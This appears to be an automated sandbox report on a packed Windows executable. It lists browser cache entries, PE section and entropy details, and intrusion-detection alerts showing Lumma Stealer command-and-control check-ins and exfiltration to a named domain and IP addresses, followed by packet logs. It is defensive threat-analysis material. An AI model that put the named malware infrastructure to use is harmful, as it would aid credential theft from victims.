File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016149588804727
Encrypted:	false
SSDEEP:	768:haAq16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTKGLlO6eAbTIr4audZqBkZRLg
MD5:	1FF4CE3C1DB69A5146B03AD8BE62F5EB
SHA1:	5D177F6D11FCFF2BD62E61983383BB39D9F045E4
SHA-256:	222F320F99EF710DCE98F125314F30DAC99CF408525D86F185B317A878D48A5C
SHA-512:	36D198120D83AA9BDC2E74F80B99E2219EE4F03A8DD93A1E58A9E30BD48E829E5220A9F5FE6FC29B3810ED85005A8DCD0EAD04EE06DCCD0A15CD6D080E88641D
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=zhMQ0hNEmb.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	179356
Entropy (8bit):	5.435190027091877
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVh:Wof3G0NSkNzMeO7z/l3h
MD5:	0F61EF7FBE30EC2928271294A8C024DE
SHA1:	2406F5A322682E63FFD6E4C800279C4A2863C5FA
SHA-256:	C615B312E47BAC8CDD9C379BF267AE6F9B4F17CC86C568280DC94598207AAFC1
SHA-512:	1205F73DFA6D4541E8CE391ED8574278E89620DCE215852D090A8BEB98C3BC994D123F42DCBFE55973418D51AABA413C8A29EB26019606A4A9C6FA320FBEAF0F
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.0747157240281755
Encrypted:	false
SSDEEP:	6144:XegPrbKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:1KCerXyUh
MD5:	875E7F3672FEC41DDB5A2386D2331531
SHA1:	282979933E99BDE3A6342DC1EF93FBC51682F2C3
SHA-256:	F205B3CBA340ECB0B5D45E5DE6D385947CC4C21248707A90BFD5894E9B61F3C9
SHA-512:	67A3C1D8FF089E01C20962D96968DE43F3E8D49B474C396F08827EE891C0315693634E663D3148D7441B501EA6939A7D84A80B1E855B7C2A8BCB17E0013AFAD4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949828365019172
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	zhMQ0hNEmb.exe
File size:	1'856'512 bytes
MD5:	c0cfe2d0e64eb0de9ae473d3cf88d4a9
SHA1:	bdaf4ea881904d0f6cb6a5e2786a65ea2a488da0
SHA256:	8812447d76e1ef7b1dbe567acb705e1f2023f2265d99ad83307d858ef429a5b5
SHA512:	e34a81dc3ccb1e474ecfa21e9eb44400e9c86d7377cc5130fd29805fe7d23de5749cfd2cb898f8bc8f3ff1fe7654f11419eddfadad9fd20cc61f1504362ff7fc
SSDEEP:	24576:irxnl5lRA5b3N7mi0c5ThIJdzIZcR8szndPRCtIkNt0gusT6FIQi1rUMg47+l:iFnnlR4bd7m0a2srnaTeIQCrgL
TLSH:	AA8533810F83BEA9D1062BB6ED272F76F72CCF4014E42394315DB136579B7E4914A8EA
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L... .pg.............................`I...........@...........................I......?....@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x896000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67701720 [Sat Dec 28 15:20:00 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FE805391BDAh
rdmsr
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FE805393BD5h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], cl
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26000	db78004574fe97fef77d0ce59e7c9343	False	0.999755859375	data	7.981268857946476	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x2b0	0x200	970ba8cc29624921043e401b74f41b2b	False	0.791015625	data	5.972840631023744	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2a4000	0x200	3ec7c49c1d45429791ad1887c873aea8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dsrsezxi	0x2f9000	0x19c000	0x19b800	c2dfe5d7ed2365bccbaeea836704d48d	False	0.9950115811057109	Minix filesystem, V1, 30 char names, 10010 zones	7.954777842552113	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zdkfxezw	0x495000	0x1000	0x400	1818f87c0bd05c37083e0a5943f1b8db	False	0.783203125	data	6.181178523228965	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x496000	0x3000	0x2200	202242d6eeaabbfa9faa18e160cb8f44	False	0.07846966911764706	DOS executable (COM)	1.003920356402513	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4944e8	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-31T09:51:07.009410+0100	2058656	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fancywaxxers .shop)	1	192.168.2.9	58007	1.1.1.1	53	UDP
2024-12-31T09:51:07.566565+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.9	49706	104.21.112.1	443	TCP
2024-12-31T09:51:07.566565+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49706	104.21.112.1	443	TCP
2024-12-31T09:51:08.364351+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.9	49706	104.21.112.1	443	TCP
2024-12-31T09:51:08.364351+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49706	104.21.112.1	443	TCP
2024-12-31T09:51:08.836246+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.9	49707	104.21.112.1	443	TCP
2024-12-31T09:51:08.836246+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49707	104.21.112.1	443	TCP
2024-12-31T09:51:09.295528+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.9	49707	104.21.112.1	443	TCP
2024-12-31T09:51:09.295528+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49707	104.21.112.1	443	TCP
2024-12-31T09:51:10.171592+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.9	49708	104.21.112.1	443	TCP
2024-12-31T09:51:10.171592+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49708	104.21.112.1	443	TCP
2024-12-31T09:51:11.447904+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.9	49709	104.21.112.1	443	TCP
2024-12-31T09:51:11.447904+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49709	104.21.112.1	443	TCP
2024-12-31T09:51:12.956765+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.9	49710	104.21.112.1	443	TCP
2024-12-31T09:51:12.956765+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49710	104.21.112.1	443	TCP
2024-12-31T09:51:14.607150+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.9	49711	104.21.112.1	443	TCP
2024-12-31T09:51:14.607150+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49711	104.21.112.1	443	TCP
2024-12-31T09:51:15.022819+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.9	49711	104.21.112.1	443	TCP
2024-12-31T09:51:16.197761+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.9	49712	104.21.112.1	443	TCP
2024-12-31T09:51:16.197761+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49712	104.21.112.1	443	TCP
2024-12-31T09:51:19.944908+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.9	49713	104.21.112.1	443	TCP
2024-12-31T09:51:19.944908+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49713	104.21.112.1	443	TCP
2024-12-31T09:51:20.428379+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49713	104.21.112.1	443	TCP
2024-12-31T09:51:21.203224+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.9	49715	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 09:50:58.984857082 CET	49677	443	192.168.2.9	20.189.173.11
Dec 31, 2024 09:51:00.188025951 CET	49673	443	192.168.2.9	204.79.197.203
Dec 31, 2024 09:51:07.032020092 CET	49706	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:07.032095909 CET	443	49706	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:07.032201052 CET	49706	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:07.035464048 CET	49706	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:07.035500050 CET	443	49706	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:07.566447973 CET	443	49706	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:07.566565037 CET	49706	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:07.569160938 CET	49706	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:07.569190979 CET	443	49706	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:07.569518089 CET	443	49706	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:07.609811068 CET	49706	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:07.632380009 CET	49706	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:07.632421017 CET	49706	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:07.632497072 CET	443	49706	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:08.364178896 CET	443	49706	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:08.364275932 CET	443	49706	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:08.364456892 CET	49706	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:08.365981102 CET	49706	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:08.366008997 CET	443	49706	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:08.366019964 CET	49706	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:08.366025925 CET	443	49706	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:08.374366045 CET	49707	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:08.374407053 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:08.374480963 CET	49707	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:08.374752998 CET	49707	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:08.374766111 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:08.594250917 CET	49677	443	192.168.2.9	20.189.173.11
Dec 31, 2024 09:51:08.836116076 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:08.836246014 CET	49707	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:08.843034983 CET	49707	443	192.168.2.9	104.21.112.1
Dec 31, 2024 09:51:08.843045950 CET	443	49707	104.21.112.1	192.168.2.9
Dec 31, 2024 09:51:08.843354940 CET	443	49707	104.21.112.1	192.168.2.9
